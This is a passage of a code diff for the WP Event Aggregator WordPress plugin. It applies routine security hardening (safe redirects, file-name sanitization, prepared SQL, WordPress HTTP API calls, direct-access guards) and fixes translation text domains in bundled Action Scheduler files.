-        		wp_redirect(  add_query_arg( $query_args, $wp_redirect ) );
+        		wp_safe_redirect(  add_query_arg( $query_args, $wp_redirect ) );
 				exit;
 			}
 		}
@@ -159,7 +160,7 @@
 			if ( $import_id > 0 ) {
 				do_action( 'xt_run_scheduled_import', $import_id );
 				$query_args = array( 'imp_msg' => 'import_success', 'tab' => $tab );
-        		wp_redirect(  add_query_arg( $query_args, $wp_redirect ) );
+        		wp_safe_redirect(  add_query_arg( $query_args, $wp_redirect ) );
 				exit;
 			}
 		}
@@ -180,7 +181,7 @@
         		}
         	}
         	$query_args = array( 'imp_msg' => 'import_dels', 'tab' => $tab );
-        	wp_redirect(  add_query_arg( $query_args, $wp_redirect ) );
+        	wp_safe_redirect(  add_query_arg( $query_args, $wp_redirect ) );
 			exit;
 		}

@@ -194,7 +195,7 @@
         		}
         	}
         	$query_args = array( 'imp_msg' => 'history_dels', 'tab' => $tab );
-        	wp_redirect(  add_query_arg( $query_args, $wp_redirect ) );
+        	wp_safe_redirect(  add_query_arg( $query_args, $wp_redirect ) );
 			exit;
 		}

@@ -214,7 +215,7 @@
 				'imp_msg' => 'history_dels',
 				'tab'     => $tab,
 			);
-			wp_redirect( add_query_arg( $query_args, $wp_redirect ) );
+			wp_safe_redirect( add_query_arg( $query_args, $wp_redirect ) );
 			exit;
 		}
 	}
@@ -333,7 +334,9 @@

 		if( $event_data['import_by'] == 'ics_file' ){

-			$file_ext = pathinfo( $_FILES['ics_file']['name'], PATHINFO_EXTENSION ); // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotValidated, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+			$sanitized_name  = sanitize_file_name( wp_unslash( $_FILES['ics_file']['name'] ) ); // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotValidated
+
+			$file_ext = strtolower( pathinfo( $sanitized_name, PATHINFO_EXTENSION ) ); // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotValidated, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
 			$file_type = esc_attr( sanitize_text_field( wp_unslash( $_FILES['ics_file']['type'] ) ) ); // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotValidated

 			if( $file_type != 'text/calendar' && $file_ext != 'ics' ){
--- a/wp-event-aggregator/includes/class-wp-event-aggregator-meetup-authorize.php
+++ b/wp-event-aggregator/includes/class-wp-event-aggregator-meetup-authorize.php
@@ -57,7 +57,7 @@
 				delete_option('wpea_muser_token_options');
 				delete_transient('wpea_meetup_auth_token');
 				$redirect_url = admin_url('admin.php?page=import_events&tab=settings');
-				wp_redirect($redirect_url);
+				wp_safe_redirect($redirect_url);
 				exit();
 			} else {
 				wp_die( esc_attr__('You do not have sufficient permissions to perform this action.', 'wp-event-aggregator' ));
@@ -112,16 +112,16 @@
 						update_option('wpea_mauthorized_user', $profile );

 						$redirect_url = admin_url('admin.php?page=import_events&tab=settings&wpeam_authorize=1');
-					    wp_redirect($redirect_url);
+					    wp_safe_redirect($redirect_url);
 					    exit();
 					}else{
 						$redirect_url = admin_url('admin.php?page=import_events&tab=settings&wpeam_authorize=0');
-					    wp_redirect($redirect_url);
+					    wp_safe_redirect($redirect_url);
 					    exit();
 					}
 				} else {
 					$redirect_url = admin_url('admin.php?page=import_events&tab=settings&wpeam_authorize=2');
-					wp_redirect($redirect_url);
+					wp_safe_redirect($redirect_url);
 					exit();
 				}

--- a/wp-event-aggregator/includes/class-wp-event-aggregator-meetup.php
+++ b/wp-event-aggregator/includes/class-wp-event-aggregator-meetup.php
@@ -53,7 +53,7 @@
 			$api             = new WP_Event_Aggregator_Meetup_API();

 			if( empty($this->api_key) && empty($this->access_token) ){
-				$wpea_errors[] = __( 'Please insert "Meetup API key" Or OAuth key and secret in settings.', 'import-meetup-events');
+				$wpea_errors[] = __( 'Please insert "Meetup API key" Or OAuth key and secret in settings.', 'wp-event-aggregator');
 				return;
 			}
 		}else{
--- a/wp-event-aggregator/includes/class-wp-event-aggregator-my-calendar.php
+++ b/wp-event-aggregator/includes/class-wp-event-aggregator-my-calendar.php
@@ -145,7 +145,21 @@
 			}

 			// Assign Featured images
-			$event_image = $centralize_array['image_url'];
+			$event_image = $centralize_array['image_url'] ?? '';
+			$url         = $centralize_array['url'] ?? '';
+			$match       = 'https://www.facebook.com/events/';
+
+			if (
+				empty($event_image) &&
+				strpos($url, $match) !== false &&
+				( $event_args['import_origin'] ?? '' ) === 'ical' &&
+				isset($importevents->common_pro) &&
+				is_object($importevents->common_pro) &&
+				method_exists($importevents->common_pro, 'wpea_get_facebook_event_url')
+			) {
+				$event_image = $importevents->common_pro->wpea_get_facebook_event_url($origin_event_id);
+			}
+
 			if ( ! empty( $event_image ) ) {
 				$importevents->common->wpea_set_feature_image_logic( $inserted_event_id, $event_image, $event_args );
 			}else{
@@ -191,8 +205,9 @@
 			$event_category = 1;
 			if ( ! empty( $wpea_cats ) ) {
 				$event_cat = $wpea_cats[0];
-				// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange
-				$temp_event_cat = $wpdb->get_var( "SELECT `category_id` FROM " . my_calendar_categories_table() . " WHERE `category_term` = ". (int)$event_cat ." LIMIT 1"  );
+				$query          = $wpdb->prepare( "SELECT `category_id` FROM " . my_calendar_categories_table() . " WHERE `category_term` = %d LIMIT 1", $event_cat ); // phpcs:ignore PluginCheck.Security.DirectDB.UnescapedDBParameter, WordPress.DB.PreparedSQL.NotPrepared
+				// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange, PluginCheck.Security.DirectDB.UnescapedDBParameter
+				$temp_event_cat = $wpdb->get_var( $query );
 				if( $temp_event_cat > 0 && is_numeric( $temp_event_cat ) && !empty( $temp_event_cat ) ){
 					$event_category = $temp_event_cat;
 				}
@@ -259,7 +274,7 @@
 					'%s',
 					'%s'
 				);
-				// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange
+				// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange, PluginCheck.Security.DirectDB.UnescapedDBParameter
 				$location_id = $wpdb->get_var( "SELECT `location_id` FROM ".my_calendar_locations_table()." WHERE `location_label` = '".  esc_sql( $event_label ) ."'"  );
 				if( $location_id > 0 && is_numeric( $location_id ) && !empty( $location_id ) ){

@@ -362,13 +377,13 @@
 				'%f',
 				'%f'
 			);
-			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange
+			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange, PluginCheck.Security.DirectDB.UnescapedDBParameter
 			$db_event_id = $wpdb->get_var( $wpdb->prepare( "SELECT `event_id` FROM ".my_calendar_table()." WHERE `event_post`= %d LIMIT 1", $inserted_event_id ) );

 			if( $db_event_id > 0 && is_numeric( $db_event_id ) && !empty( $db_event_id ) ){

 				if (!($is_exitsing_event && ! $importevents->common->wpea_is_updatable('category') )){
-					// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange
+					// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange, PluginCheck.Security.DirectDB.UnescapedDBParameter
 					$cat_id = $wpdb->get_var( "SELECT `event_category` FROM ".my_calendar_table()." WHERE `event_id`=". absint( $db_event_id ) );
 					if( $cat_id ){
 						$event_data['event_category'] = $cat_id;
@@ -376,17 +391,17 @@

 					$selected_categories = $event_args['event_cats'];
 					foreach( $selected_categories as $select_cat ){
-						// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange
+						// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange, PluginCheck.Security.DirectDB.UnescapedDBParameter
 						$cat_is_exist_id = $wpdb->get_var( "SELECT `category_id` FROM ".my_calendar_categories_table()." WHERE `category_term`=". absint( $select_cat ) );
 						if( empty( $cat_is_exist_id ) ){
 							// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange
 							$cat_name = get_the_category_by_ID( $select_cat );
 							$catsql       = "INSERT INTO " . my_calendar_categories_table() . " ( `category_name`, `category_color`, `category_icon`, `category_private`, `category_term`) VALUES ( '$cat_name', '', '', '0', '0');";
-							// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange
+							// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange, PluginCheck.Security.DirectDB.UnescapedDBParameter
 							$cats_results = $wpdb->query( $wpdb->prepare( $catsql ) );
 						}

-						// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange
+						// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange, PluginCheck.Security.DirectDB.UnescapedDBParameter
 						$relationship_exists = $wpdb->get_var( $wpdb->prepare( "SELECT `relationship_id` FROM " . my_calendar_category_relationships_table() . " WHERE `event_id` = %d AND `category_id` = %d", $db_event_id, $cat_is_exist_id ) );
 						if ( empty( $relationship_exists ) ) {
 							// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange
@@ -414,7 +429,7 @@
 					'occur_group_id' => 0
 				);

-				// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange
+				// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange, PluginCheck.Security.DirectDB.UnescapedDBParameter
 				$occur_id = $wpdb->get_var( "SELECT `occur_id` FROM ".my_calendar_event_table()." WHERE `occur_event_id`=". absint( $db_event_id ) );
 				$occur_format   = array( '%d', '%s', '%s', '%d' );
 				if( $occur_id > 0 && is_numeric( $occur_id ) && !empty( $occur_id ) ){
--- a/wp-event-aggregator/includes/class-wp-event-aggregator-public-api.php
+++ b/wp-event-aggregator/includes/class-wp-event-aggregator-public-api.php
@@ -231,18 +231,20 @@
      * @return cURL object
      */
     public function graphql_query( $endpoint, $payload ) {
+        $response = wp_remote_post( $endpoint, [
+            'headers' => [
+                'Content-Type' => 'application/json',
+            ],
+            'body'    => wp_json_encode( $payload ),
+            'timeout' => 30, // optional, adjust as needed
+        ] );

-        $ch = curl_init( $endpoint );
+        if ( is_wp_error( $response ) ) {
+            return null;
+        }

-        curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
-        curl_setopt( $ch, CURLOPT_POST, true );
-        curl_setopt( $ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json"] );
-        curl_setopt( $ch, CURLOPT_POSTFIELDS, json_encode( $payload ) );
-
-        $response = curl_exec( $ch );
-        curl_close( $ch );
-
-        $json = json_decode( $response, true );
+        $body = wp_remote_retrieve_body( $response );
+        $json = json_decode( $body, true );

         return $json ?? null;
     }
--- a/wp-event-aggregator/includes/class-wp-event-aggregator-tec.php
+++ b/wp-event-aggregator/includes/class-wp-event-aggregator-tec.php
@@ -211,7 +211,21 @@
 			}

 			// Assign Featured images
-			$event_image = $centralize_array['image_url'];
+			$event_image = $centralize_array['image_url'] ?? '';
+			$url         = $centralize_array['url'] ?? '';
+			$match       = 'https://www.facebook.com/events/';
+
+			if (
+				empty($event_image) &&
+				strpos($url, $match) !== false &&
+				( $event_args['import_origin'] ?? '' ) === 'ical' &&
+				isset($importevents->common_pro) &&
+				is_object($importevents->common_pro) &&
+				method_exists($importevents->common_pro, 'wpea_get_facebook_event_url')
+			) {
+				$event_image = $importevents->common_pro->wpea_get_facebook_event_url($origin_event_id);
+			}
+
 			if ( ! empty( $event_image ) ) {
 				$importevents->common->wpea_set_feature_image_logic( $new_event_id, $event_image, $event_args );
 			}else{
@@ -346,7 +360,21 @@
 			}

 			// Assign Featured images
-			$event_image = $centralize_array['image_url'];
+			$event_image = $centralize_array['image_url'] ?? '';
+			$url         = $centralize_array['url'] ?? '';
+			$match       = 'https://www.facebook.com/events/';
+
+			if (
+				empty($event_image) &&
+				strpos($url, $match) !== false &&
+				( $event_args['import_origin'] ?? '' ) === 'ical' &&
+				isset($importevents->common_pro) &&
+				is_object($importevents->common_pro) &&
+				method_exists($importevents->common_pro, 'wpea_get_facebook_event_url')
+			) {
+				$event_image = $importevents->common_pro->wpea_get_facebook_event_url($origin_event_id);
+			}
+
 			if ( ! empty( $event_image ) ) {
 				$importevents->common->wpea_set_feature_image_logic( $update_event_id, $event_image, $event_args );
 			}else{
--- a/wp-event-aggregator/includes/class-wp-event-aggregator-wpea.php
+++ b/wp-event-aggregator/includes/class-wp-event-aggregator-wpea.php
@@ -151,7 +151,21 @@
 			}

 			// Assign Featured images
-			$event_image = $centralize_array['image_url'];
+			$event_image = $centralize_array['image_url'] ?? '';
+			$url         = $centralize_array['url'] ?? '';
+			$match       = 'https://www.facebook.com/events/';
+
+			if (
+				empty($event_image) &&
+				strpos($url, $match) !== false &&
+				( $event_args['import_origin'] ?? '' ) === 'ical' &&
+				isset($importevents->common_pro) &&
+				is_object($importevents->common_pro) &&
+				method_exists($importevents->common_pro, 'wpea_get_facebook_event_url')
+			) {
+				$event_image = $importevents->common_pro->wpea_get_facebook_event_url($origin_event_id);
+			}
+
 			if ( ! empty( $event_image ) ) {
 				$importevents->common->wpea_set_feature_image_logic( $inserted_event_id, $event_image, $event_args );
 			}else{
--- a/wp-event-aggregator/includes/lib/icalcreator/autoload.php
+++ b/wp-event-aggregator/includes/lib/icalcreator/autoload.php
@@ -1,4 +1,7 @@
 <?php
+// If this file is called directly, abort.
+if ( ! defined( 'ABSPATH' ) ) exit;
+
 /**
  * iCalcreator, the PHP class package managing iCal (rfc2445/rfc5445) calendar information.
  *
--- a/wp-event-aggregator/includes/lib/icalcreator/src/IcalBase.php
+++ b/wp-event-aggregator/includes/lib/icalcreator/src/IcalBase.php
@@ -54,6 +54,9 @@
 use function trim;
 use function ucfirst;

+// Exit if accessed directly
+if ( ! defined( 'ABSPATH' ) ) exit;
+
 /**
  *         Do NOT alter or remove the constant!!
  */
--- a/wp-event-aggregator/includes/parsedown.php
+++ b/wp-event-aggregator/includes/parsedown.php
@@ -1,5 +1,4 @@
 <?php
-
 #
 #
 # ParsedownWpea
@@ -12,6 +11,8 @@
 # with this source code.
 #
 #
+// Exit if accessed directly
+if ( ! defined( 'ABSPATH' ) ) exit;

 class ParsedownWpea
 {
--- a/wp-event-aggregator/includes/wpea-action-scheduler/action-scheduler/classes/ActionScheduler_ActionFactory.php
+++ b/wp-event-aggregator/includes/wpea-action-scheduler/action-scheduler/classes/ActionScheduler_ActionFactory.php
@@ -230,7 +230,7 @@
 		$next     = $schedule->get_next( as_get_datetime_object() );

 		if ( is_null( $next ) || ! $schedule->is_recurring() ) {
-			throw new InvalidArgumentException( __( 'Invalid action - must be a recurring action.', 'import-eventbrite-events' ) );
+			throw new InvalidArgumentException( __( 'Invalid action - must be a recurring action.', 'wp-event-aggregator' ) );
 		}

 		$schedule_class = get_class( $schedule );
@@ -323,7 +323,7 @@
 			error_log(
 				sprintf(
 					/* translators: %1$s is the name of the hook to be enqueued, %2$s is the exception message. */
-					__( 'Caught exception while enqueuing action "%1$s": %2$s', 'import-eventbrite-events' ),
+					__( 'Caught exception while enqueuing action "%1$s": %2$s', 'wp-event-aggregator' ),
 					$options['hook'],
 					$e->getMessage()
 				)
--- a/wp-event-aggregator/includes/wpea-action-scheduler/action-scheduler/classes/ActionScheduler_AdminView.php
+++ b/wp-event-aggregator/includes/wpea-action-scheduler/action-scheduler/classes/ActionScheduler_AdminView.php
@@ -79,7 +79,7 @@
 	 * @return array $tabs An associative array of tab key => label, including Action Scheduler's tabs
 	 */
 	public function register_system_status_tab( array $tabs ) {
-		$tabs['import-eventbrite-events'] = __( 'Scheduled Actions', 'import-eventbrite-events' );
+		$tabs['wp-event-aggregator'] = __( 'Scheduled Actions', 'wp-event-aggregator' );

 		return $tabs;
 	}
@@ -94,10 +94,10 @@
 	public function register_menu() {
 		$hook_suffix = add_submenu_page(
 			'tools.php',
-			__( 'Scheduled Actions', 'import-eventbrite-events' ),
-			__( 'Scheduled Actions', 'import-eventbrite-events' ),
+			__( 'Scheduled Actions', 'wp-event-aggregator' ),
+			__( 'Scheduled Actions', 'wp-event-aggregator' ),
 			'manage_options',
-			'import-eventbrite-events',
+			'wp-event-aggregator',
 			array( $this, 'render_admin_ui' )
 		);
 		add_action( 'load-' . $hook_suffix, array( $this, 'process_admin_ui' ) );
@@ -205,7 +205,7 @@

 		$actions_url = add_query_arg(
 			array(
-				'page'   => 'import-eventbrite-events',
+				'page'   => 'wp-event-aggregator',
 				'status' => 'past-due',
 				'order'  => 'asc',
 			),
@@ -221,7 +221,7 @@
 					'<strong>Action Scheduler:</strong> %1$d <a href="%2$s">past-due action</a> found; something may be wrong. <a href="https://actionscheduler.org/faq/#my-site-has-past-due-actions-what-can-i-do" target="_blank">Read documentation »</a>',
 					'<strong>Action Scheduler:</strong> %1$d <a href="%2$s">past-due actions</a> found; something may be wrong. <a href="https://actionscheduler.org/faq/#my-site-has-past-due-actions-what-can-i-do" target="_blank">Read documentation »</a>',
 					$num_pastdue_actions,
-					'import-eventbrite-events'
+					'wp-event-aggregator'
 				),
 				array(
 					'strong' => array(),
@@ -267,23 +267,23 @@
 		$screen->add_help_tab(
 			array(
 				'id'      => 'action_scheduler_about',
-				'title'   => __( 'About', 'import-eventbrite-events' ),
+				'title'   => __( 'About', 'wp-event-aggregator' ),
 				'content' =>
 					// translators: %s is the Action Scheduler version.
-					'<h2>' . sprintf( __( 'About Action Scheduler %s', 'import-eventbrite-events' ), $as_version ) . '</h2>' .
+					'<h2>' . sprintf( __( 'About Action Scheduler %s', 'wp-event-aggregator' ), $as_version ) . '</h2>' .
 					'<p>' .
-						__( 'Action Scheduler is a scalable, traceable job queue for background processing large sets of actions. Action Scheduler works by triggering an action hook to run at some time in the future. Scheduled actions can also be scheduled to run on a recurring schedule.', 'import-eventbrite-events' ) .
+						__( 'Action Scheduler is a scalable, traceable job queue for background processing large sets of actions. Action Scheduler works by triggering an action hook to run at some time in the future. Scheduled actions can also be scheduled to run on a recurring schedule.', 'wp-event-aggregator' ) .
 					'</p>' .
-					'<h3>' . esc_html__( 'Source', 'import-eventbrite-events' ) . '</h3>' .
+					'<h3>' . esc_html__( 'Source', 'wp-event-aggregator' ) . '</h3>' .
 					'<p>' .
-						esc_html__( 'Action Scheduler is currently being loaded from the following location. This can be useful when debugging, or if requested by the support team.', 'import-eventbrite-events' ) .
+						esc_html__( 'Action Scheduler is currently being loaded from the following location. This can be useful when debugging, or if requested by the support team.', 'wp-event-aggregator' ) .
 					'</p>' .
 					'<p>' . $as_source_markup . '</p>' .
-					'<h3>' . esc_html__( 'WP CLI', 'import-eventbrite-events' ) . '</h3>' .
+					'<h3>' . esc_html__( 'WP CLI', 'wp-event-aggregator' ) . '</h3>' .
 					'<p>' .
 						sprintf(
 							/* translators: %1$s is WP CLI command (not translatable) */
-							esc_html__( 'WP CLI commands are available: execute %1$s for a list of available commands.', 'import-eventbrite-events' ),
+							esc_html__( 'WP CLI commands are available: execute %1$s for a list of available commands.', 'wp-event-aggregator' ),
 							'<code>wp help action-scheduler</code>'
 						) .
 					'</p>',
@@ -293,17 +293,17 @@
 		$screen->add_help_tab(
 			array(
 				'id'      => 'action_scheduler_columns',
-				'title'   => __( 'Columns', 'import-eventbrite-events' ),
+				'title'   => __( 'Columns', 'wp-event-aggregator' ),
 				'content' =>
-					'<h2>' . __( 'Scheduled Action Columns', 'import-eventbrite-events' ) . '</h2>' .
+					'<h2>' . __( 'Scheduled Action Columns', 'wp-event-aggregator' ) . '</h2>' .
 					'<ul>' .
-					sprintf( '<li><strong>%1$s</strong>: %2$s</li>', __( 'Hook', 'import-eventbrite-events' ), __( 'Name of the action hook that will be triggered.', 'import-eventbrite-events' ) ) .
-					sprintf( '<li><strong>%1$s</strong>: %2$s</li>', __( 'Status', 'import-eventbrite-events' ), __( 'Action statuses are Pending, Complete, Canceled, Failed', 'import-eventbrite-events' ) ) .
-					sprintf( '<li><strong>%1$s</strong>: %2$s</li>', __( 'Arguments', 'import-eventbrite-events' ), __( 'Optional data array passed to the action hook.', 'import-eventbrite-events' ) ) .
-					sprintf( '<li><strong>%1$s</strong>: %2$s</li>', __( 'Group', 'import-eventbrite-events' ), __( 'Optional action group.', 'import-eventbrite-events' ) ) .
-					sprintf( '<li><strong>%1$s</strong>: %2$s</li>', __( 'Recurrence', 'import-eventbrite-events' ), __( 'The action's schedule frequency.', 'import-eventbrite-events' ) ) .
-					sprintf( '<li><strong>%1$s</strong>: %2$s</li>', __( 'Scheduled', 'import-eventbrite-events' ), __( 'The date/time the action is/was scheduled to run.', 'import-eventbrite-events' ) ) .
-					sprintf( '<li><strong>%1$s</strong>: %2$s</li>', __( 'Log', 'import-eventbrite-events' ), __( 'Activity log for the action.', 'import-eventbrite-events' ) ) .
+					sprintf( '<li><strong>%1$s</strong>: %2$s</li>', __( 'Hook', 'wp-event-aggregator' ), __( 'Name of the action hook that will be triggered.', 'wp-event-aggregator' ) ) .
+					sprintf( '<li><strong>%1$s</strong>: %2$s</li>', __( 'Status', 'wp-event-aggregator' ), __( 'Action statuses are Pending, Complete, Canceled, Failed', 'wp-event-aggregator' ) ) .
+					sprintf( '<li><strong>%1$s</strong>: %2$s</li>', __( 'Arguments', 'wp-event-aggregator' ), __( 'Optional data array passed to the action hook.', 'wp-event-aggregator' ) ) .
+					sprintf( '<li><strong>%1$s</strong>: %2$s</li>', __( 'Group', 'wp-event-aggregator' ), __( 'Optional action group.', 'wp-event-aggregator' ) ) .
+					sprintf( '<li><strong>%1$s</strong>: %2$s</li>', __( 'Recurrence', 'wp-event-aggregator' ), __( 'The action's schedule frequency.', 'wp-event-aggregator' ) ) .
+					sprintf( '<li><strong>%1$s</strong>: %2$s</li>', __( 'Scheduled', 'wp-event-aggregator' ), __( 'The date/time the action is/was scheduled to run.', 'wp-event-aggregator' ) ) .
+					sprintf( '<li><strong>%1$s</strong>: %2$s</li>', __( 'Log', 'wp-event-aggregator' ), __( 'Activity log for the action.', 'wp-event-aggregator' ) ) .
 					'</ul>',
 			)
 		);
--- a/wp-event-aggregator/includes/wpea-action-scheduler/action-scheduler/classes/ActionScheduler_DataController.php
+++ b/wp-event-aggregator/includes/wpea-action-scheduler/action-scheduler/classes/ActionScheduler_DataController.php
@@ -142,11 +142,11 @@
 	public static function free_memory() {
 		if ( 0 < self::$sleep_time ) {
 			/* translators: %d: amount of time */
-			WP_CLI::warning( sprintf( _n( 'Stopped the insanity for %d second', 'Stopped the insanity for %d seconds', self::$sleep_time, 'import-eventbrite-events' ), self::$sleep_time ) );
+			WP_CLI::warning( sprintf( _n( 'Stopped the insanity for %d second', 'Stopped the insanity for %d seconds', self::$sleep_time, 'wp-event-aggregator' ), self::$sleep_time ) );
 			sleep( self::$sleep_time );
 		}

-		WP_CLI::warning( __( 'Attempting to reduce used memory...', 'import-eventbrite-events' ) );
+		WP_CLI::warning( __( 'Attempting to reduce used memory...', 'wp-event-aggregator' ) );

 		/**
 		 * Globals.
--- a/wp-event-aggregator/includes/wpea-action-scheduler/action-scheduler/classes/ActionScheduler_InvalidActionException.php
+++ b/wp-event-aggregator/includes/wpea-action-scheduler/action-scheduler/classes/ActionScheduler_InvalidActionException.php
@@ -19,7 +19,7 @@
 	public static function from_schedule( $action_id, $schedule ) {
 		$message = sprintf(
 			/* translators: 1: action ID 2: schedule */
-			__( 'Action [%1$s] has an invalid schedule: %2$s', 'import-eventbrite-events' ),
+			__( 'Action [%1$s] has an invalid schedule: %2$s', 'wp-event-aggregator' ),
 			$action_id,
 			var_export( $schedule, true ) // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_var_export
 		);
@@ -37,7 +37,7 @@
 	public static function from_decoding_args( $action_id, $args = array() ) {
 		$message = sprintf(
 			/* translators: 1: action ID 2: arguments */
-			__( 'Action [%1$s] has invalid arguments. It cannot be JSON decoded to an array. $args = %2$s', 'import-eventbrite-events' ),
+			__( 'Action [%1$s] has invalid arguments. It cannot be JSON decoded to an array. $args = %2$s', 'wp-event-aggregator' ),
 			$action_id,
 			var_export( $args, true ) // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_var_export
 		);
--- a/wp-event-aggregator/includes/wpea-action-scheduler/action-scheduler/classes/ActionScheduler_ListTable.php
+++ b/wp-event-aggregator/includes/wpea-action-scheduler/action-scheduler/classes/ActionScheduler_ListTable.php
@@ -12,7 +12,7 @@
 	 *
 	 * @var string
 	 */
-	protected $package = 'import-eventbrite-events';
+	protected $package = 'wp-event-aggregator';

 	/**
 	 * Columns to show (name => label).
@@ -86,20 +86,20 @@
 		$this->logger = $logger;
 		$this->runner = $runner;

-		$this->table_header = __( 'Scheduled Actions', 'import-eventbrite-events' );
+		$this->table_header = __( 'Scheduled Actions', 'wp-event-aggregator' );

 		$this->bulk_actions = array(
-			'delete' => __( 'Delete', 'import-eventbrite-events' ),
+			'delete' => __( 'Delete', 'wp-event-aggregator' ),
 		);

 		$this->columns = array(
-			'hook'        => __( 'Hook', 'import-eventbrite-events' ),
-			'status'      => __( 'Status', 'import-eventbrite-events' ),
-			'args'        => __( 'Arguments', 'import-eventbrite-events' ),
-			'group'       => __( 'Group', 'import-eventbrite-events' ),
-			'recurrence'  => __( 'Recurrence', 'import-eventbrite-events' ),
-			'schedule'    => __( 'Scheduled Date', 'import-eventbrite-events' ),
-			'log_entries' => __( 'Log', 'import-eventbrite-events' ),
+			'hook'        => __( 'Hook', 'wp-event-aggregator' ),
+			'status'      => __( 'Status', 'wp-event-aggregator' ),
+			'args'        => __( 'Arguments', 'wp-event-aggregator' ),
+			'group'       => __( 'Group', 'wp-event-aggregator' ),
+			'recurrence'  => __( 'Recurrence', 'wp-event-aggregator' ),
+			'schedule'    => __( 'Scheduled Date', 'wp-event-aggregator' ),
+			'log_entries' => __( 'Log', 'wp-event-aggregator' ),
 		);

 		$this->sort_by = array(
@@ -119,19 +119,19 @@
 		if ( empty( $request_status ) ) {
